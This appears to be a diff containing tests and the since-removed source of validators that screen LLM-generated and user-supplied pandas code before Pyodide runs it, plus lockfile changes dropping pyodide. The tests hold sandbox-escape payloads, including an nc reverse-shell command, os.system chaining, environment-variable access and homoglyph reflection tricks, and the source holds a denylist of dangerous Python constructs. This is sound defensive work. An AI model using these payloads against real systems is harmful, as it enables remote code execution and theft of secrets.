expect(result.reason).toContain('__getattribute__ (attribute reflection bypass)')
})
it('should block __getattr__ (attribute reflection bypass)', () => {
const result = validatePythonCodeForDataFrame('obj.__getattr__("columns")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('__getattr__ (attribute reflection bypass)')
})
})
describe('newly added patterns are blocked', () => {
it('should block vars(df)', () => {
const result = validatePythonCodeForDataFrame('vars(df)')
expect(result.valid).toBe(false)
expect(result.reason).toContain('vars()')
})
it('should block vars() with no arguments', () => {
const result = validatePythonCodeForDataFrame('vars()')
expect(result.valid).toBe(false)
expect(result.reason).toContain('vars()')
})
it('should block dir(df)', () => {
const result = validatePythonCodeForDataFrame('dir(df)')
expect(result.valid).toBe(false)
expect(result.reason).toContain('dir()')
})
it('should block dir() with no arguments', () => {
const result = validatePythonCodeForDataFrame('dir()')
expect(result.valid).toBe(false)
expect(result.reason).toContain('dir()')
})
it('should block __dict__ attribute access', () => {
const result = validatePythonCodeForDataFrame('df.__dict__')
expect(result.valid).toBe(false)
expect(result.reason).toContain('__dict__')
})
it('should block __dict__ write (monkey-patching attempt)', () => {
const result = validatePythonCodeForDataFrame("df.__dict__['_data'] = None")
expect(result.valid).toBe(false)
expect(result.reason).toContain('__dict__')
})
it('should block __module__ attribute access', () => {
const result = validatePythonCodeForDataFrame('df.__module__')
expect(result.valid).toBe(false)
expect(result.reason).toContain('__module__')
})
it('should block vars() used in a reflection chain', () => {
const result = validatePythonCodeForDataFrame("vars(__builtins__)['__import__']('os').system('x')")
expect(result.valid).toBe(false)
})
it('should block ord() used in runtime string assembly', () => {
const result = validatePythonCodeForDataFrame("ord('A')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('ord() (runtime string assembly)')
})
it('should block ord() used in a character code comparison', () => {
const result = validatePythonCodeForDataFrame('if ord(c) == 95: pass')
expect(result.valid).toBe(false)
expect(result.reason).toContain('ord() (runtime string assembly)')
})
})
describe('edge cases and false positive prevention', () => {
it('should return valid: true for empty string', () => {
expect(validatePythonCodeForDataFrame('').valid).toBe(true)
})
it('should allow "important" — word boundary prevents false match on "import"', () => {
expect(validatePythonCodeForDataFrame('# this is important').valid).toBe(true)
})
it('should allow df.dropna() — "os" inside "dropna" does not match \\bos\\.', () => {
expect(validatePythonCodeForDataFrame('df.dropna().mean()').valid).toBe(true)
})
it('should return a reason string when rejected', () => {
const result = validatePythonCodeForDataFrame('import os')
expect(result.valid).toBe(false)
expect(typeof result.reason).toBe('string')
expect(result.reason!.length).toBeGreaterThan(0)
})
it('should return no reason when valid', () => {
const result = validatePythonCodeForDataFrame("df['col'].sum()")
expect(result.valid).toBe(true)
expect(result.reason).toBeUndefined()
})
it('should handle multi-line valid code', () => {
const code = ["survived = df[df['Survived'] == 1]", 'count = len(survived)', 'count'].join('\n')
expect(validatePythonCodeForDataFrame(code).valid).toBe(true)
})
})
})
describe('validateCustomReadCSVFunction', () => {
describe('legitimate read_csv calls pass validation', () => {
it('should allow the default read_csv(csv_data) call', () => {
expect(validateCustomReadCSVFunction('read_csv(csv_data)').valid).toBe(true)
})
it('should allow literal keyword options', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=';', header=0, keep_default_na=False)")
expect(result.valid).toBe(true)
})
it('should allow spaces around keyword equals', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep = ';', header = 0)")
expect(result.valid).toBe(true)
})
it('should allow statement separator characters inside string literals', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=';', lineterminator='\\n')")
expect(result.valid).toBe(true)
})
it('should allow literal lists, tuples, and dictionaries for read_csv options', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, usecols=['Name', 'Age'], na_values={'Age': ['NA', '']})")
expect(result.valid).toBe(true)
})
it('should allow spaces around dictionary colons and a trailing dictionary comma', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, na_values={'Age' : ['NA'],})")
expect(result.valid).toBe(true)
})
it('should allow filepath_or_buffer=csv_data as the explicit source', () => {
const result = validateCustomReadCSVFunction("read_csv(filepath_or_buffer=csv_data, encoding='utf-8')")
expect(result.valid).toBe(true)
})
})
describe('code execution bypasses are blocked', () => {
it('should block the reported walrus tuple bypass in the read_csv source argument', () => {
const result = validateCustomReadCSVFunction(
'read_csv((_m := pd.io.common.os, _m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")))'
)
expect(result.valid).toBe(false)
expect(result.reason).toContain('read from csv_data directly')
})
it('should block dangerous attribute access in read_csv keyword values', () => {
const result = validateCustomReadCSVFunction('read_csv(csv_data, storage_options=pd.io.common.os.environ)')
expect(result.valid).toBe(false)
expect(result.reason).toContain('option values must be')
})
it('should block nested function calls in read_csv keyword values', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=str(','))")
expect(result.valid).toBe(false)
expect(result.reason).toContain('option values must be')
})
it('should block lambda converters in read_csv keyword values', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, converters={'Name': lambda value: value})")
expect(result.valid).toBe(false)
expect(result.reason).toContain('option values must be')
})
it('should block positional arguments after csv_data', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, ';')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('keyword arguments')
})
it('should block empty arguments', () => {
const result = validateCustomReadCSVFunction('read_csv(csv_data,, header=0)')
expect(result.valid).toBe(false)
expect(result.reason).toContain('empty arguments')
})
it('should block a trailing comma', () => {
const result = validateCustomReadCSVFunction('read_csv(csv_data, header=0,)')
expect(result.valid).toBe(false)
expect(result.reason).toContain('empty arguments')
})
it('should block duplicate keyword arguments', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=',', sep=';')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('duplicated')
})
it('should block duplicate filepath_or_buffer when source is named', () => {
const result = validateCustomReadCSVFunction("read_csv(filepath_or_buffer=csv_data, filepath_or_buffer='other.csv')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('duplicated')
})
it('should block filepath_or_buffer override when source is positional', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, filepath_or_buffer='other.csv')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('duplicated')
})
it('should block malformed bracket nesting', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, usecols=['Name', 'Age')")
expect(result.valid).toBe(false)
})
it('should block top-level semicolon statement chaining', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data); pd.io.common.os.system('id')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('single function call')
})
it('should block overlong custom read_csv input', () => {
const result = validateCustomReadCSVFunction(`read_csv(csv_data, sep='${'a'.repeat(1024)}')`)
expect(result.valid).toBe(false)
expect(result.reason).toContain('1024 characters or fewer')
})
it('should block trailing code after the read_csv call', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data) or pd.io.common.os.system('id')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('exactly one complete')
})
it('should block homoglyph reflection chained onto a single-line read_csv call', () => {
const result = validateCustomReadCSVFunction('read_csv(csv_data).__cl\u{1D41A}ss__')
expect(result.valid).toBe(false)
expect(result.reason).toContain('exactly one complete')
})
it('should block a multi-line homoglyph payload smuggled into the custom read_csv field', () => {
const payload = 'read_csv(csv_data)\ncls = ().__cl\u{1D41A}ss__'
const result = validateCustomReadCSVFunction(payload)
expect(result.valid).toBe(false)
})
it('should still allow a benign read_csv even when spelled with a homoglyph (normalized to ASCII)', () => {
const result = validateCustomReadCSVFunction('r\u212Fad_csv(csv_data)')
expect(result.valid).toBe(true)
})
})
})
@@ -1,390 +0,0 @@
/**
* Validates Python code before execution in Pyodide to prevent remote code
* execution (RCE). Two entry points are provided:
*
* - validateCustomReadCSVFunction strict allowlist-based check for the
* user-supplied "Custom Pandas Read_CSV Code" field. Only a single
* read_csv(...) call that reads from the pre-bound csv_data variable is
* permitted. Options must be keyword arguments with literal values.
*
* - validatePythonCodeForDataFrame denylist-based check for LLM-generated
* DataFrame operation code.
*
* Both checks must pass before code is handed to pyodide.runPythonAsync().
* These validators are one defence-in-depth layer; Pyodide execution should
* still run with restricted network and filesystem access.
*/
export interface PythonCodeValidationResult {
valid: boolean
reason?: string
}
/**
* Normalize code the same way CPython does before tokenizing identifiers.
*
* Python 3 applies NFKC normalization to every identifier at parse time
* (PEP 3131), so source such as `__cl\u{1D41A}ss__` is executed as `__class__`.
* The ASCII-only regex denylist below never sees that normalized form, which
* lets Unicode homoglyphs slip past every pattern. Normalizing here makes the
* validator observe exactly what the interpreter will run, closing the bypass.
*
* CPython's lexer also performs explicit line joining: a backslash immediately
* followed by a newline is silently removed before tokenization. This means
* `eval\<newline>(...)` is parsed identically to `eval(...)`. Strip those
* continuations here so the denylist sees the joined form.
*/
function normalizeForValidation(code: string): string {
return code.normalize('NFKC').replace(/\\\n/g, '')
}
/**
* Forbidden patterns that indicate unsafe Python code.
* Uses word boundaries and context to minimize false positives (e.g. df.astype is allowed).
*/
const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
// Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)
{ pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' },
{ pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },
// Dangerous builtins
{ pattern: /\beval\s*\(/g, reason: 'eval()' },
{ pattern: /\bexec\s*\(/g, reason: 'exec()' },
{ pattern: /\bcompile\s*\(/g, reason: 'compile()' },
{ pattern: /\b__import__\s*\(/g, reason: '__import__()' },
{ pattern: /\bopen\s*\(/g, reason: 'open()' },
{ pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' },
{ pattern: /\binput\s*\(/g, reason: 'input()' },
{ pattern: /\braw_input\s*\(/g, reason: 'raw_input()' },
{ pattern: /\bglobals\s*\(/g, reason: 'globals()' },
{ pattern: /\blocals\s*\(/g, reason: 'locals()' },
{ pattern: /\bgetattr\s*\(/g, reason: 'getattr()' },
{ pattern: /\bsetattr\s*\(/g, reason: 'setattr()' },
{ pattern: /\bdelattr\s*\(/g, reason: 'delattr()' },
{ pattern: /\breload\s*\(/g, reason: 'reload()' },
{ pattern: /\bfile\s*\(/g, reason: 'file()' },
{ pattern: /\bexecfile\s*\(/g, reason: 'execfile()' },
// Dangerous modules / attributes
{ pattern: /\bos\./g, reason: 'os module' },
{ pattern: /\bsubprocess\./g, reason: 'subprocess module' },
{ pattern: /\bsys\./g, reason: 'sys module' },
{ pattern: /\bsocket\./g, reason: 'socket module' },
{ pattern: /\burllib\./g, reason: 'urllib module' },
{ pattern: /\brequests\./g, reason: 'requests module' },
{ pattern: /\.(?:os|subprocess|sys|socket|urllib|requests)\b/g, reason: 'dangerous module attribute access' },
{ pattern: /\b(?:system|popen)\s*\(/g, reason: 'process execution function' },
{ pattern: /\b__builtins__\b/g, reason: '__builtins__' },
{ pattern: /\b__loader__\b/g, reason: '__loader__' },
{ pattern: /\b__spec__\b/g, reason: '__spec__' },
{ pattern: /\b__class__\b/g, reason: '__class__ (reflection)' },
{ pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' },
{ pattern: /\b__bases__\b/g, reason: '__bases__' },
{ pattern: /\b__mro__\b/g, reason: '__mro__' },
{ pattern: /\b__globals__\b/g, reason: '__globals__' },
{ pattern: /\b__code__\b/g, reason: '__code__' },
{ pattern: /\b__closure__\b/g, reason: '__closure__' },
{ pattern: /\bvars\s*\(/g, reason: 'vars()' },
{ pattern: /\bdir\s*\(/g, reason: 'dir()' },
{ pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' },
{ pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' },
{ pattern: /\bchr\s*\(/g, reason: 'chr() (runtime string assembly)' },
{ pattern: /\bord\s*\(/g, reason: 'ord() (runtime string assembly)' },
{ pattern: /\b__getattribute__\b/g, reason: '__getattribute__ (attribute reflection bypass)' },
{ pattern: /\b__getattr__\b/g, reason: '__getattr__ (attribute reflection bypass)' },
// Unsafe deserialization — read_pickle() executes arbitrary Python objects
{ pattern: /\bread_pickle\b/g, reason: 'read_pickle (unsafe deserialization / RCE)' },
{ pattern: /\bpickle\b/g, reason: 'pickle module (unsafe deserialization)' },
{ pattern: /\bmarshal\b/g, reason: 'marshal module (unsafe deserialization)' },
// Class definitions — used to synthesise file-like objects that smuggle pickle payloads
{ pattern: /\bclass\s+\w/g, reason: 'class definition' }
]
const READ_CSV_PREFIX = 'read_csv('
const MAX_CUSTOM_READ_CSV_LENGTH = 1024
function skipQuotedString(code: string, startIndex: number): number {
const quote = code[startIndex]
if (quote !== "'" && quote !== '"') return -1
let escaped = false
for (let i = startIndex + 1; i < code.length; i += 1) {
const char = code[i]
if (escaped) {
escaped = false
} else if (char === '\\') {
escaped = true
} else if (char === quote) {
return i + 1
}
}
return -1
}
function expectedClosingBracket(char: string): string | undefined {
if (char === '(') return ')'
if (char === '[') return ']'
if (char === '{') return '}'
return undefined
}
function splitTopLevel(code: string, delimiter: string): string[] | undefined {
const parts: string[] = []
const bracketStack: string[] = []
let start = 0
for (let i = 0; i < code.length; i += 1) {
const char = code[i]
if (char === "'" || char === '"') {
const nextIndex = skipQuotedString(code, i)
if (nextIndex < 0) return undefined
i = nextIndex - 1
continue
}
const expectedClosing = expectedClosingBracket(char)
if (expectedClosing) {
bracketStack.push(expectedClosing)
} else if (char === ')' || char === ']' || char === '}') {
if (bracketStack.pop() !== char) return undefined
} else if (char === delimiter && bracketStack.length === 0) {
parts.push(code.slice(start, i).trim())
start = i + 1
}
}
if (bracketStack.length !== 0) return undefined
parts.push(code.slice(start).trim())
return parts
}
function findTopLevelCharacter(code: string, character: string): number {
const bracketStack: string[] = []
for (let i = 0; i < code.length; i += 1) {
const char = code[i]
if (char === "'" || char === '"') {
const nextIndex = skipQuotedString(code, i)
if (nextIndex < 0) return -1
i = nextIndex - 1
continue
}
const expectedClosing = expectedClosingBracket(char)
if (expectedClosing) {
bracketStack.push(expectedClosing)
} else if (char === ')' || char === ']' || char === '}') {
if (bracketStack.pop() !== char) return -1
} else if (char === character && bracketStack.length === 0) {
return i
}
}
return -1
}
function containsStatementSeparatorOutsideString(code: string): boolean {
for (let i = 0; i < code.length; i += 1) {
const char = code[i]
if (char === "'" || char === '"') {
const nextIndex = skipQuotedString(code, i)
if (nextIndex < 0) return true
i = nextIndex - 1
} else if (char === '\n' || char === '\r' || char === ';') {
return true
}
}
return false
}
function findMatchingClosingParen(code: string, openIndex: number): number {
let depth = 0
for (let i = openIndex; i < code.length; i += 1) {
const char = code[i]
if (char === "'" || char === '"') {
const nextIndex = skipQuotedString(code, i)
if (nextIndex < 0) return -1
i = nextIndex - 1
} else if (char === '(') {
depth += 1
} else if (char === ')') {
depth -= 1
if (depth === 0) return i
if (depth < 0) return -1
}
}
return -1
}
function isQuotedStringLiteral(code: string): boolean {
return skipQuotedString(code, 0) === code.length
}
function areSafeLiteralItems(code: string): boolean {
const parts = splitTopLevel(code, ',')
if (!parts) return false
return parts.every((part, index) => {
if (!part && index === parts.length - 1) return true
return isSafeReadCSVLiteral(part)
})
}
function isSafeReadCSVLiteral(code: string): boolean {
const trimmed = code.trim()
if (!trimmed) return false
if (isQuotedStringLiteral(trimmed)) return true
if (/^[+-]?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?$/.test(trimmed)) return true
if (/^(?:True|False|None)$/.test(trimmed)) return true
const first = trimmed[0]
const last = trimmed[trimmed.length - 1]
if ((first === '[' && last === ']') || (first === '(' && last === ')')) {
const inner = trimmed.slice(1, -1).trim()
return !inner || areSafeLiteralItems(inner)
}
if (first === '{' && last === '}') {
const inner = trimmed.slice(1, -1).trim()
const entries = inner ? splitTopLevel(inner, ',') : []
if (!entries) return false
return entries.every((entry, index) => {
if (!entry && index === entries.length - 1) return true
const colonIndex = findTopLevelCharacter(entry, ':')
if (colonIndex < 0) return false
const key = entry.slice(0, colonIndex).trim()
const value = entry.slice(colonIndex + 1).trim()
return (isQuotedStringLiteral(key) || /^[+-]?\d+$/.test(key)) && isSafeReadCSVLiteral(value)
})
}
return false
}
function validateReadCSVArguments(args: string): PythonCodeValidationResult {
const parts = splitTopLevel(args, ',')
if (!parts || parts.length === 0) {
return { valid: false, reason: 'read_csv() must receive csv_data as the input source' }
}
const [firstArg, ...remainingArgs] = parts
if (!firstArg) {
return { valid: false, reason: 'read_csv() must receive csv_data as the input source' }
}
const sourceKeyword = firstArg === 'csv_data' ? undefined : 'filepath_or_buffer'
if (sourceKeyword) {
const equalsIndex = findTopLevelCharacter(firstArg, '=')
const firstArgName = equalsIndex >= 0 ? firstArg.slice(0, equalsIndex).trim() : ''
const firstArgValue = equalsIndex >= 0 ? firstArg.slice(equalsIndex + 1).trim() : ''
if (firstArgName !== sourceKeyword || firstArgValue !== 'csv_data') {
return { valid: false, reason: 'read_csv() must read from csv_data directly' }
}
}
const seenKeywords = new Set(['filepath_or_buffer'])
for (const arg of remainingArgs) {
if (!arg) {
return { valid: false, reason: 'read_csv() options must not contain empty arguments' }
}
const equalsIndex = findTopLevelCharacter(arg, '=')
if (equalsIndex <= 0) {
return { valid: false, reason: 'read_csv() options must be keyword arguments with literal values' }
}
const keyword = arg.slice(0, equalsIndex).trim()
const value = arg.slice(equalsIndex + 1).trim()
if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(keyword) || keyword.startsWith('__')) {
return { valid: false, reason: 'read_csv() option names must be plain identifiers' }
}
if (seenKeywords.has(keyword)) {
return { valid: false, reason: 'read_csv() options must not be duplicated' }
}
seenKeywords.add(keyword)
if (!isSafeReadCSVLiteral(value)) {
return {
valid: false,
reason: 'read_csv() option values must be strings, numbers, booleans, None, lists, tuples, or dictionaries'
}
}
}
return { valid: true }
}
/**
* Validates that the given Python code is safe to run in the pandas DataFrame context.
* Call this before passing LLM-generated code to pyodide.runPythonAsync().
*/
export function validatePythonCodeForDataFrame(code: string): PythonCodeValidationResult {
const normalizedCode = normalizeForValidation(code)
for (const { pattern, reason } of FORBIDDEN_PATTERNS) {
pattern.lastIndex = 0
if (pattern.test(normalizedCode)) {
return { valid: false, reason: `Forbidden construct: ${reason}` }
}
}
return { valid: true }
}
/**
* Strict allowlist validator for the user-supplied "Custom Pandas Read_CSV Code"
* field. Only a single read_csv(...) call is permitted — no newlines, no
* semicolons, and no additional statements. The denylist is also applied as a
* second layer of defence.
*
* Valid examples: read_csv(csv_data)
* read_csv(csv_data, sep=';', header=0)
*/
export function validateCustomReadCSVFunction(code: string): PythonCodeValidationResult {
const trimmed = normalizeForValidation(code).trim()
if (trimmed.length > MAX_CUSTOM_READ_CSV_LENGTH) {
return { valid: false, reason: `Custom read_csv code must be ${MAX_CUSTOM_READ_CSV_LENGTH} characters or fewer` }
}
// Allowlist: must be a single read_csv() call
if (!trimmed.startsWith(READ_CSV_PREFIX)) {
return { valid: false, reason: 'Custom read_csv code must start with read_csv(' }
}
// No statement separators outside strings — prevents class definitions and multi-statement payloads
if (containsStatementSeparatorOutsideString(trimmed)) {
return {
valid: false,
reason: 'Custom read_csv code must be a single function call with no newlines or semicolons'
}
}
const closingParenIndex = findMatchingClosingParen(trimmed, READ_CSV_PREFIX.length - 1)
if (closingParenIndex !== trimmed.length - 1) {
return { valid: false, reason: 'Custom read_csv code must be exactly one complete read_csv(...) call' }
}
const args = trimmed.slice(READ_CSV_PREFIX.length, closingParenIndex)
const argsValidation = validateReadCSVArguments(args)
if (!argsValidation.valid) return argsValidation
// Apply the denylist as a second layer
return validatePythonCodeForDataFrame(trimmed)
}
+3 -4
View File
@@ -708,9 +708,6 @@ importers:
puppeteer:
specifier: ^20.7.1
version: 20.9.0([email protected])([email protected])([email protected])([email protected])
pyodide:
specifier: '>=0.21.0-alpha.2'
version: 0.25.0([email protected])([email protected])
redis:
specifier: ^4.6.7
version: 4.6.13
@@ -33710,7 +33707,8 @@ snapshots:
bare-events: 2.6.0
optional: true
[email protected]: {}
[email protected]:
optional: true
[email protected]: {}
@@ -43328,6 +43326,7 @@ snapshots:
transitivePeerDependencies:
- bufferutil
- utf-8-validate
optional: true
[email protected]: {}